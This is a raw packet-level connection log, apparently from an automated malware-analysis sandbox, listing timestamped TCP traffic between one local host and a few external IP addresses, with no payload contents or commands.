Oct 13, 2023 16:06:17.633832932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633919001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633969069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633971930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634061098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634104013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634160995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634251118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634295940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634341955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634455919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634502888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634519100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634568930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634609938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634691000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634746075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634787083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634820938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634875059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.634915113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.634927988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635024071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635073900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635092974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635152102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635196924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635207891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635247946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635293961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635334969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635390043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635432005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635445118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635552883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635600090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635613918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635669947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635714054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635729074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635787010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635823965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635824919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635878086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.635925055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.635996103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.636084080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.636122942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.698815107 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:17.698844910 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:17.699253082 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:17.699317932 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:17.700545073 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:17.719296932 CEST	80	49791	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:17.719429970 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.727170944 CEST	80	49789	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:17.727238894 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.741856098 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.746453047 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:17.751219034 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:17.751249075 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:17.751312971 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:17.971748114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.971837044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.971915960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.971961021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972093105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972150087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.972151041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972285032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972330093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.972431898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972531080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972570896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.972589970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972676992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972695112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972713947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.972742081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972783089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.972913027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.972970963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973009109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.973130941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973229885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973274946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.973411083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973516941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973561049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.973754883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973902941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.973943949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.974200010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974262953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974307060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.974383116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974495888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974538088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.974582911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974621058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974668026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.974783897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974828959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.974869013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.974922895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.975028038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.975081921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.975225925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.975390911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.975433111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.975596905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976007938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976030111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976053953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.976133108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976176023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.976356030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976475954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.976516008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.976643085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977085114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977127075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.977202892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977387905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977428913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.977478027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977525949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977562904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.977641106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977881908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.977924109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.977998972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978108883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978149891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.978194952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978262901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978302956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.978466034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978558064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978599072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.978669882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978770971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.978810072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.978979111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979162931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979233980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.979289055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979522943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979558945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.979620934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979675055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979712009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.979731083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979770899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.979815006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.979824066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980005980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980045080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.980171919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980223894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980268002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980279922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.980359077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980398893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.980456114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980530977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.980568886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.980724096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981247902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981298923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.981446028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981532097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981573105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.981601954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981642008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.981681108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.982239962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983180046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983233929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.983252048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983293056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983331919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.983361959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983601093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983644009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.983870029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983927011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.983967066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.983993053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984155893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984194994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.984219074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984282970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984324932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.984330893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984379053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984425068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.984426975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984481096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984519005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.984668970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984812021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984853983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.984909058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984955072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.984993935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985059977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985138893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985177994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985202074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985265970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985306025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985348940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985485077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985526085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985534906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985608101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985654116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985714912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985850096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.985889912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.985939026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986269951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986314058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.986373901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986459970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986506939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.986584902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986700058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986742020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.986911058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986959934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.986999989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.987044096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987148046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987190008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.987344980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987418890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987461090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.987489939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987626076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987668991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.987687111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987844944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.987895012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.987972021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.988060951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.988105059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.988363981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.988769054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.988817930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989089966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989276886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989336967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989360094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989362955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989398956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989469051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989542007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989582062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989593029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989639997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989681005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989712000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989763021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.989805937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.989913940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990015984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990053892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990101099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990257025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990314007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990364075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990457058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990500927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990525007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990649939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990695953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990701914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990729094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990767956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990811110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990842104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.990881920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.990926027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991010904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991034985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991054058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.991099119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991137981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991139889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.991211891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991250992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.991276026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991337061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991374016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.991383076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991437912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991461992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991478920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.991605043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.991646051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.047048092 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:18.047077894 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:18.047142029 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:18.047162056 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:18.047175884 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:18.047209024 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:18.047255993 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:18.089863062 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:18.089905977 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:18.096551895 CEST	80	49791	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:18.117640972 CEST	80	49791	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:18.117742062 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.127401114 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:18.127480984 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:18.314608097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.314892054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.314920902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.314938068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.314954996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.314973116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.314981937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315000057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315013885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315016985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315025091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315043926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315062046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315092087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315133095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.315176964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.315221071 CEST	80	49762	91.215.85.17	192.168.2.4
